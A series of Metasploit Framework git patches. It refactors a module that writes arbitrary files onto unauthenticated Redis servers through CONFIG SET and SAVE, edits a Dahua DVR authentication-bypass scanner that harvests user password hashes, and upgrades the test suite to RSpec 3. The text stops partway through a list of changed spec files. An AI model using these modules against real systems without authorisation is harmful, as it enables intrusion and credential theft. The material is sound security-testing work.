@@ -27,3 +27,4 @@ require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' +require 'msf/core/auxiliary/redis' diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb new file mode 100644 index 0000000000..9c6590dad9 --- /dev/null +++ b/lib/msf/core/auxiliary/redis.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- +require 'msf/core/exploit' +module Msf + +### +# +# This module provides methods for working with redis +# +### +module Auxiliary::Redis + include Msf::Exploit::Remote::Tcp + include Auxiliary::Scanner + include Auxiliary::Report + + # + # Initializes an instance of an auxiliary module that interacts with Redis + # + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(6379), + ] + ) + + register_advanced_options( + [ + OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) + ] + ) + end + + def peer + "#{rhost}:#{rport}" + end + + def read_timeout + datastore['READ_TIMEOUT'] + end + + def redis_proto(commands) + return if commands.blank? + command = "*#{commands.length}\r\n" + commands.each do |c| + command << "$#{c.length}\r\n#{c}\r\n" + end + command + end + + def report_redis(version) + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'redis', + info: "version #{version}" + ) + end + + def send_redis_command(*commands) + sock.put(redis_proto(commands)) + data = sock.get_once(-1, read_timeout) + return unless data + data.strip! + vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{data}") + data + end +end +end diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 4744151e68..26d223b1e7 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -6,9 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report + include Msf::Auxiliary::Redis def initialize(info = {}) super( @@ -35,74 +33,39 @@ class Metasploit3 < Msf::Auxiliary ) register_options( [ - Opt::RPORT(6379), - OptPath.new('LocalFile', [true, 'Local file to be uploaded']), - OptString.new('RemoteFile', [true, 'Remote file path']) + OptPath.new('LocalFile', [false, 'Local file to be uploaded']), + OptString.new('RemoteFile', [false, 'Remote file path']) ] ) - - register_advanced_options( - [ - OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) - ] - ) - end - - def read_timeout - datastore['READ_TIMEOUT'] - end - - def redis_proto(parts) - return if parts.blank? - command = "*#{parts.length}\r\n" - parts.each do |p| - command << "$#{p.length}\r\n#{p}\r\n" - end - command - end - - def send_command(command) - command = redis_proto(command) - sock.put(command) - sock.get_once(-1, read_timeout) end def send_file(path, content) dirname = File.dirname(path) basename = File.basename(path) + original_dir = send_redis_command('CONFIG', 'GET', 'DIR') + data = send_redis_command('CONFIG', 'SET', 'DIR', dirname) + return unless data.include?('+OK') + + data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename) + return unless data.include?('+OK') + key = Rex::Text.rand_text_alpha(32) - command = ['CONFIG', 'SET', 'DIR', "#{dirname}"] - data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + data = send_redis_command('SET', key, content) + return unless data.include?('+OK') - command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"] - data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + data = send_redis_command('SAVE') return unless data.include?('+OK') + print_good("#{peer} -- saved file to #{path}") - command = ['SET', "#{key}", "#{content}"] - data = send_command(command) - - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") - return unless data.include?('+OK') - print_good("#{rhost}:#{rport}: save file to #{path}") - - command = ['SAVE'] - data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") - return unless data.include?('+OK') - - command = ['DEL', "#{key}"] - data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + data = send_redis_command('DEL', key) return unless data.include?('+OK') end def check connect - data = send_command(['INFO']) + data = send_redis_command('INFO') disconnect if data && /redis_version:(?<redis_version>\S+)/ =~ data report_redis(redis_version) @@ -112,29 +75,17 @@ class Metasploit3 < Msf::Auxiliary end end - def report_redis(version) - report_service( - host: rhost, - port: rport, - proto: 'tcp', - name: 'redis', - info: "version #{version}" - ) - end - - def peer - "#{rhost}:#{rport}" - end - def setup - @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" + @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile'] end def run_host(_ip) + fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile'] + fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile'] return unless check == Exploit::CheckCode::Vulnerable connect - unless (res = send_command(['PING'])) + unless (res = send_redis_command('PING')) vprint_error("#{peer} -- did not respond to our redis PING") return end From d2f54af23f0d79676a5d6424cba0cfbc6f4d578c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 10 Dec 2015 08:56:24 -0800 Subject: [PATCH 1481/2172] Reset the dir and dbfilename back to their original settings --- .../auxiliary/scanner/redis/unauth_upload_file.rb | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 26d223b1e7..2b667f58b3 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -43,8 +43,13 @@ class Metasploit3 < Msf::Auxiliary dirname = File.dirname(path) basename = File.basename(path) - original_dir = send_redis_command('CONFIG', 'GET', 'DIR') - data = send_redis_command('CONFIG', 'SET', 'DIR', dirname) + # Get the currently configured dir and dbfilename before we overwrite them; + # we should set them back to their original values after we are done. + # XXX: this is a hack -- we should really parse the responses more correctly + original_dir = send_redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last + original_dbfilename = send_redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last + + data = send_redis_command('CONFIG', 'SET', 'dir', dirname) return unless data.include?('+OK') data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename) @@ -60,7 +65,11 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} -- saved file to #{path}") data = send_redis_command('DEL', key) - return unless data.include?('+OK') + # cleanup + # XXX: ensure that these get sent if we prematurely return if a previous command fails + send_redis_command('CONFIG', 'SET', 'dir', original_dir) + send_redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) + send_redis_command('SAVE') end def check From 00f72b279b98d679a44fe80ba73553a39db11295 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 10 Dec 2015 09:12:54 -0800 Subject: [PATCH 1482/2172] Cleaner printing when in verbose --- lib/msf/core/auxiliary/redis.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 9c6590dad9..696a8ed9d6 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -63,7 +63,7 @@ module Auxiliary::Redis data = sock.get_once(-1, read_timeout) return unless data data.strip! - vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{data}") + vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{Rex::Text.ascii_safe_hex(data, true)}") data end end From 48a27170c29af991a95caef01435d4b640823878 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 10 Dec 2015 09:13:13 -0800 Subject: [PATCH 1483/2172] Document process better, delete correct key --- modules/auxiliary/scanner/redis/unauth_upload_file.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 2b667f58b3..104ab9b0f0 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -40,6 +40,8 @@ class Metasploit3 < Msf::Auxiliary end def send_file(path, content) + # XXX: refactor this to handle redis errors or exceptions in a cleaner manner + dirname = File.dirname(path) basename = File.basename(path) @@ -49,26 +51,27 @@ class Metasploit3 < Msf::Auxiliary original_dir = send_redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last original_dbfilename = send_redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last + # set the directory which stores the current redis local store data = send_redis_command('CONFIG', 'SET', 'dir', dirname) return unless data.include?('+OK') + # set the file name, relative to the above directory name, that is the redis local store data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename) return unless data.include?('+OK') + # set a key in this db that contains our content key = Rex::Text.rand_text_alpha(32) data = send_redis_command('SET', key, content) - return unless data.include?('+OK') - data = send_redis_command('SAVE') return unless data.include?('+OK') print_good("#{peer} -- saved file to #{path}") - data = send_redis_command('DEL', key) # cleanup # XXX: ensure that these get sent if we prematurely return if a previous command fails send_redis_command('CONFIG', 'SET', 'dir', original_dir) send_redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) + send_redis_command('DEL', key) send_redis_command('SAVE') end From 555e52e41657009b7efe492efeea36b29602aba0 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 10 Dec 2015 09:35:46 -0800 Subject: [PATCH 1484/2172] Document the redis upload process more --- lib/msf/core/auxiliary/redis.rb | 113 +++++++++--------- .../scanner/redis/unauth_upload_file.rb | 28 ++++- 2 files changed, 82 insertions(+), 59 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 696a8ed9d6..f0bbd3f090 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -1,70 +1,69 @@ # -*- coding: binary -*- require 'msf/core/exploit' module Msf - -### -# -# This module provides methods for working with redis -# -### -module Auxiliary::Redis - include Msf::Exploit::Remote::Tcp - include Auxiliary::Scanner - include Auxiliary::Report - + ### # - # Initializes an instance of an auxiliary module that interacts with Redis + # This module provides methods for working with redis # + ### + module Auxiliary::Redis + include Msf::Exploit::Remote::Tcp + include Auxiliary::Scanner + include Auxiliary::Report - def initialize(info = {}) - super - register_options( - [ - Opt::RPORT(6379), - ] - ) + # + # Initializes an instance of an auxiliary module that interacts with Redis + # - register_advanced_options( - [ - OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) - ] - ) - end + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(6379) + ] + ) - def peer - "#{rhost}:#{rport}" - end - - def read_timeout - datastore['READ_TIMEOUT'] - end - - def redis_proto(commands) - return if commands.blank? - command = "*#{commands.length}\r\n" - commands.each do |c| - command << "$#{c.length}\r\n#{c}\r\n" + register_advanced_options( + [ + OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) + ] + ) end - command - end - def report_redis(version) - report_service( - host: rhost, - port: rport, - proto: 'tcp', - name: 'redis', - info: "version #{version}" - ) - end + def peer + "#{rhost}:#{rport}" + end - def send_redis_command(*commands) - sock.put(redis_proto(commands)) - data = sock.get_once(-1, read_timeout) - return unless data - data.strip! - vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{Rex::Text.ascii_safe_hex(data, true)}") - data + def read_timeout + datastore['READ_TIMEOUT'] + end + + def redis_proto(commands) + return if commands.blank? + command = "*#{commands.length}\r\n" + commands.each do |c| + command << "$#{c.length}\r\n#{c}\r\n" + end + command + end + + def report_redis(version) + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'redis', + info: "version #{version}" + ) + end + + def send_redis_command(*commands) + sock.put(redis_proto(commands)) + data = sock.get_once(-1, read_timeout) + return unless data + data.strip! + vprint_status("#{peer} -- redis command '#{Rex::Text.ascii_safe_hex(commands.join(' '), true)}' got '#{Rex::Text.ascii_safe_hex(data, true)}'") + data + end end end -end diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 104ab9b0f0..5654c98819 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -18,7 +18,10 @@ class Metasploit3 < Msf::Auxiliary Because redis is unprotected without a password set up. ), 'License' => MSF_LICENSE, - 'Author' => ['Nixawk'], + 'Author' => [ + 'Nixawk', # original metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module + ], 'References' => [ ['URL', 'http://antirez.com/news/96'], ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], @@ -60,6 +63,9 @@ class Metasploit3 < Msf::Auxiliary return unless data.include?('+OK') # set a key in this db that contains our content + # XXX: this does not work well (at all) if the content we are uploading is + # multiline. It also probably doesn't work well if the content isn't + # simple ASCII text key = Rex::Text.rand_text_alpha(32) data = send_redis_command('SET', key, content) return unless data.include?('+OK') @@ -88,7 +94,25 @@ class Metasploit3 < Msf::Auxiliary end def setup - @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile'] + # this is the content we will upload if not running 'check'. We are + # setting a key/value pair in the database to something such that when the + # redis db is saved, the contents of what we are uploading will appear + # intact in the middle of the db itself. The hope is that something + # interpretting this file will ignore or be OK-enough with the rest of the + # file such that what we uploaded will be interpretted as if it contained + # only the contents of what we uploaded. For example, here is a nearly + # empty redis database that started with a single key (foo) value (bar) + # pair, and the contents of what we uploaded was the current data: + # + # 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo| + # 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS| + # 00000020 6e 57 4f 78 76 58 72 73 6a 71 58 4f 43 52 43 6c |nWOxvXrsjqXOCRCl| + # 00000030 66 4b 6a 54 73 47 1e 0a 54 68 75 20 44 65 63 20 |fKjTsG..Thu Dec | + # 00000040 31 30 20 30 39 3a 30 35 3a 32 39 20 50 53 54 20 |10 09:05:29 PST | + # 00000050 32 30 31 35 0a ff + # + # as you can see, the current date exists on its own on a separate line + @upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile'] end def run_host(_ip) From c000e590d4eb0f447687c0a5f945f90a83691c4a Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Thu, 10 Dec 2015 15:51:59 -0500 Subject: [PATCH 1485/2172] verified table values are correctly typed as Strs, but it still fails to print the tables --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 92783e3c1d..9407ae0473 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -194,10 +194,10 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} -- camera channels:") data.each_with_index do |val, index| number = index.to_s - channels = val[/([[:print:]]+)/].to_s - channels_table << [ number, channels ] - channels_table.print + channels = val[/([[:print:]]+)/] + channels_table << [ "#{number}", "#{channels}" ] end + channels_table.print end def grab_users @@ -216,8 +216,12 @@ class Metasploit3 < Msf::Auxiliary usercount += 1 user, md5hash, rights, name = val.match(/^.*:(.*):(.*):.*:(.*):(.*):.*$/).captures users_table << [user, md5hash, rights, name] - users_table.print - # print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # puts user.class + # puts md5hash.class + # puts rights.class + # puts name.class + # users_table.print + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") # Write the dahua hash to the database hash = "#{rhost} #{user}:$dahua$#{md5hash}" report_hash(rhost, rport, user, hash) @@ -245,12 +249,14 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Number', 'Group'] ) print_good("#{peer} -- groups:") - data.each { |val| - number = val[/(([\d]+))/].to_i - groups = val[/(([a-z]+))/].to_i + data.each do |val| + number = "#{val[/(([\d]+))/]}" + groups = "#{val[/(([a-z]+))/]}" + # puts number.class + # puts groups.class groups_table << [ number, groups ] groups_table.print - } + end end def reset_user From d38ed931a5b9b8bcb090e764c9591afa624d9205 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 16 Oct 2015 15:53:17 -0500 Subject: [PATCH 1486/2172] Update to rspec 3.3 in Gemfile MSP-13484 --- Gemfile | 4 +--- Gemfile.lock | 41 +++++++++++++++++++---------------------- 2 files changed, 20 insertions(+), 25 deletions(-) diff --git a/Gemfile b/Gemfile index 1f4033d229..d767b06c50 100755 --- a/Gemfile +++ b/Gemfile @@ -27,11 +27,9 @@ group :development, :test do gem 'fivemat', '1.2.1' # running documentation generation tasks and rspec tasks gem 'rake', '>= 10.0.0' - # testing framework - gem 'rspec', '>= 2.12', '< 3.0.0' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development - gem 'rspec-rails' , '>= 2.12', '< 3.0.0' + gem 'rspec-rails' , '~> 3.3' end group :test do diff --git a/Gemfile.lock b/Gemfile.lock index e6ddf58246..fa02a74647 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -183,25 +183,23 @@ GEM redcarpet (3.2.3) rkelly-remix (0.0.6) robots (0.10.1) - rspec (2.99.0) - rspec-core (~> 2.99.0) - rspec-expectations (~> 2.99.0) - rspec-mocks (~> 2.99.0) - rspec-collection_matchers (1.1.2) - rspec-expectations (>= 2.99.0.beta1) - rspec-core (2.99.2) - rspec-expectations (2.99.2) - diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.99.3) - rspec-rails (2.99.0) - actionpack (>= 3.0) - activemodel (>= 3.0) - activesupport (>= 3.0) - railties (>= 3.0) - rspec-collection_matchers - rspec-core (~> 2.99.0) - rspec-expectations (~> 2.99.0) - rspec-mocks (~> 2.99.0) + rspec-core (3.3.2) + rspec-support (~> 3.3.0) + rspec-expectations (3.3.1) + diff-lcs (>= 1.2.0, < 2.0) + rspec-support (~> 3.3.0) + rspec-mocks (3.3.2) + diff-lcs (>= 1.2.0, < 2.0) + rspec-support (~> 3.3.0) + rspec-rails (3.3.3) + actionpack (>= 3.0, < 4.3) + activesupport (>= 3.0, < 4.3) + railties (>= 3.0, < 4.3) + rspec-core (~> 3.3.0) + rspec-expectations (~> 3.3.0) + rspec-mocks (~> 3.3.0) + rspec-support (~> 3.3.0) + rspec-support (3.3.0) rubyntlm (0.5.2) rubyzip (1.1.7) shoulda-matchers (2.8.0) @@ -226,7 +224,7 @@ GEM thread_safe (0.3.5) tilt (1.4.1) timecop (0.7.3) - tzinfo (0.3.44) + tzinfo (0.3.45) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.6) @@ -243,8 +241,7 @@ DEPENDENCIES pry rake (>= 10.0.0) redcarpet - rspec (>= 2.12, < 3.0.0) - rspec-rails (>= 2.12, < 3.0.0) + rspec-rails (~> 3.3) shoulda-matchers simplecov timecop From ed1e984b6af283227f1812cc01ccca73ad5299f7 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 16 Oct 2015 15:55:53 -0500 Subject: [PATCH 1487/2172] Update spec_helper with all rspec 3 features MSP-13484 Copied from metasploit-cache. --- spec/spec_helper.rb | 65 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 50 insertions(+), 15 deletions(-) diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index c3d5e1f3ad..d29e9fd1ac 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -14,13 +14,7 @@ require 'active_record/railtie' require File.expand_path('../../config/environment', __FILE__) # Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use -require 'rspec/core' -require 'rails/version' -require 'rspec/rails/adapters' -require 'rspec/rails/extensions' -require 'rspec/rails/fixture_support' -require 'rspec/rails/matchers' -require 'rspec/rails/mocks' +require 'rspec/rails' require 'metasploit/framework/spec' @@ -42,22 +36,63 @@ engines.each do |engine| end RSpec.configure do |config| - config.mock_with :rspec do |mocks| - mocks.yield_receiver_to_any_instance_implementation_blocks = true + config.raise_errors_for_deprecations! + + config.expose_dsl_globally = false + + # These two settings work together to allow you to limit a spec run + # to individual examples or groups you care about by tagging them with + # `:focus` metadata. When nothing is tagged with `:focus`, all examples + # get run. + config.filter_run :focus + config.run_all_when_everything_filtered = true + + # allow more verbose output when running an individual spec file. + if config.files_to_run.one? + # RSpec filters the backtrace by default so as not to be so noisy. + # This causes the full backtrace to be printed when running a single + # spec file (e.g. to troubleshoot a particular spec failure). + config.full_backtrace = true end + # Print the 10 slowest examples and example groups at the + # end of the spec run, to help surface which specs are running + # particularly slow. + config.profile_examples = 10 + # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 - config.order = 'random' + config.order = :random - config.treat_symbols_as_metadata_keys_with_true_values = true - - # If you're not using ActiveRecord, or you'd prefer not to run each of your - # examples within a transaction, remove the following line or assign false - # instead of true. config.use_transactional_fixtures = true + + # Seed global randomization in this process using the `--seed` CLI option. + # Setting this allows you to use `--seed` to deterministically reproduce + # test failures related to randomization by passing the same `--seed` value + # as the one that triggered the failure. + Kernel.srand config.seed + + config.expect_with :rspec do |expectations| + # Enable only the newer, non-monkey-patching expect syntax. + expectations.syntax = :expect + end + + # rspec-mocks config goes here. You can use an alternate test double + # library (such as bogus or mocha) by changing the `mock_with` option here. + config.mock_with :rspec do |mocks| + # Enable only the newer, non-monkey-patching expect syntax. + # For more details, see: + # - http://teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/ + mocks.syntax = :expect + + mocks.patch_marshal_to_support_partial_doubles = false + + # Prevents you from mocking or stubbing a method that does not exist on + # a real object. + mocks.verify_partial_doubles = true + end end Metasploit::Framework::Spec::Constants::Suite.configure! From d6bf0fd781a6c7eec6490527f61d7c66e1f6b6e6 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 16 Oct 2015 15:57:04 -0500 Subject: [PATCH 1488/2172] decribe -> RSpec.describe MSP-13484 Disabled expose_dsl_globally in spec_helper, so need to qualify top-level describe. --- .../abstract_adapter/connection_pool_spec.rb | 2 +- spec/lib/metasploit/framework/credential_collection_spec.rb | 2 +- spec/lib/metasploit/framework/credential_spec.rb | 2 +- spec/lib/metasploit/framework/jtr/cracker_spec.rb | 2 +- spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb | 2 +- spec/lib/metasploit/framework/jtr/wordlist_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/afp_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/axis2_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/base_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb | 2 +- .../metasploit/framework/login_scanner/chef_webui_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/db2_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/ftp_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb | 2 +- .../metasploit/framework/login_scanner/glassfish_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/http_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/invalid_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb | 2 +- .../login_scanner/manageengine_desktop_central_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/mssql_spec.rb | 2 +- .../metasploit/framework/login_scanner/mybook_live_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/mysql_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/nessus_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/pop3_spec.rb | 2 +- .../lib/metasploit/framework/login_scanner/postgres_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/result_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/smb_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/smh_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/snmp_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/ssh_spec.rb | 2 +- .../framework/login_scanner/symantec_web_gateway_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/telnet_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/vnc_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/winrm_spec.rb | 2 +- .../framework/login_scanner/wordpress_rpc_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb | 2 +- spec/lib/metasploit/framework/login_scanner_spec.rb | 2 +- spec/lib/msf/base/sessions/meterpreter_spec.rb | 2 +- spec/lib/msf/base/simple/framework_spec.rb | 2 +- spec/lib/msf/core/author_spec.rb | 2 +- spec/lib/msf/core/auxiliary/drdos_spec.rb | 2 +- spec/lib/msf/core/auxiliary/kademlia_spec.rb | 2 +- spec/lib/msf/core/data_store_spec.rb | 2 +- spec/lib/msf/core/encoded_payload_spec.rb | 2 +- spec/lib/msf/core/exe/segment_appender_spec.rb | 2 +- spec/lib/msf/core/exe/segment_injector_spec.rb | 2 +- spec/lib/msf/core/exploit/browser_autopwn2_spec.rb | 2 +- spec/lib/msf/core/exploit/capture_spec.rb | 2 +- spec/lib/msf/core/exploit/cmdstager_spec.rb | 2 +- spec/lib/msf/core/exploit/http/client_spec.rb | 2 +- spec/lib/msf/core/exploit/http/jboss/base_spec.rb | 2 +- .../msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb | 2 +- spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb | 2 +- .../http/jboss/deployment_file_repository_scripts_spec.rb | 2 +- .../exploit/http/jboss/deployment_file_repository_spec.rb | 3 +-- spec/lib/msf/core/exploit/http/server_spec.rb | 2 +- spec/lib/msf/core/exploit/http/typo3_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/base_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/login_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/version_spec.rb | 2 +- .../lib/msf/core/exploit/kerberos/client/as_request_spec.rb | 2 +- .../msf/core/exploit/kerberos/client/as_response_spec.rb | 2 +- spec/lib/msf/core/exploit/kerberos/client/base_spec.rb | 2 +- .../core/exploit/kerberos/client/cache_credential_spec.rb | 2 +- spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb | 2 +- .../msf/core/exploit/kerberos/client/tgs_request_spec.rb | 2 +- .../msf/core/exploit/kerberos/client/tgs_response_spec.rb | 2 +- spec/lib/msf/core/exploit/powershell_spec.rb | 2 +- .../msf/core/exploit/remote/browser_exploit_server_spec.rb | 2 +- .../msf/core/exploit/remote/browser_profile_manager_spec.rb | 2 +- .../msf/core/exploit/remote/firefox_addon_generator_spec.rb | 2 +- .../exploit/remote/firefox_privilege_escalation_spec.rb | 2 +- spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb | 2 +- .../remote/java/rmi/client/jmx/connection/builder_spec.rb | 2 +- .../exploit/remote/java/rmi/client/jmx/connection_spec.rb | 2 +- .../remote/java/rmi/client/jmx/server/builder_spec.rb | 2 +- .../remote/java/rmi/client/jmx/server/parser_spec.rb | 2 +- .../core/exploit/remote/java/rmi/client/jmx/server_spec.rb | 2 +- .../exploit/remote/java/rmi/client/registry/builder_spec.rb | 2 +- .../exploit/remote/java/rmi/client/registry/parser_spec.rb | 2 +- .../core/exploit/remote/java/rmi/client/registry_spec.rb | 2 +- spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb | 2 +- spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb | 2 +- .../msf/core/exploit/smb/server/share/command/close_spec.rb | 2 +- .../core/exploit/smb/server/share/command/negotiate_spec.rb | 2 +- .../exploit/smb/server/share/command/nt_create_andx_spec.rb | 2 +- .../core/exploit/smb/server/share/command/read_andx_spec.rb | 2 +- .../smb/server/share/command/session_setup_andx_spec.rb | 2 +- .../smb/server/share/command/trans2/find_first2_spec.rb | 2 +- .../share/command/trans2/query_file_information_spec.rb | 2 +- .../share/command/trans2/query_path_information_spec.rb | 2 +- .../core/exploit/smb/server/share/command/trans2_spec.rb | 2 +- .../exploit/smb/server/share/information_level/find_spec.rb | 2 +- .../smb/server/share/information_level/query_spec.rb | 2 +- spec/lib/msf/core/framework_spec.rb | 2 +- spec/lib/msf/core/module/failure_spec.rb | 2 +- spec/lib/msf/core/module_manager_spec.rb | 2 +- spec/lib/msf/core/module_spec.rb | 2 +- spec/lib/msf/core/modules/error_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- spec/lib/msf/core/modules/loader/directory_spec.rb | 2 +- .../modules/metasploit_class_compatibility_error_spec.rb | 2 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- .../msf/core/modules/version_compatibility_error_spec.rb | 2 +- spec/lib/msf/core/opt_address_range_spec.rb | 2 +- spec/lib/msf/core/opt_address_spec.rb | 2 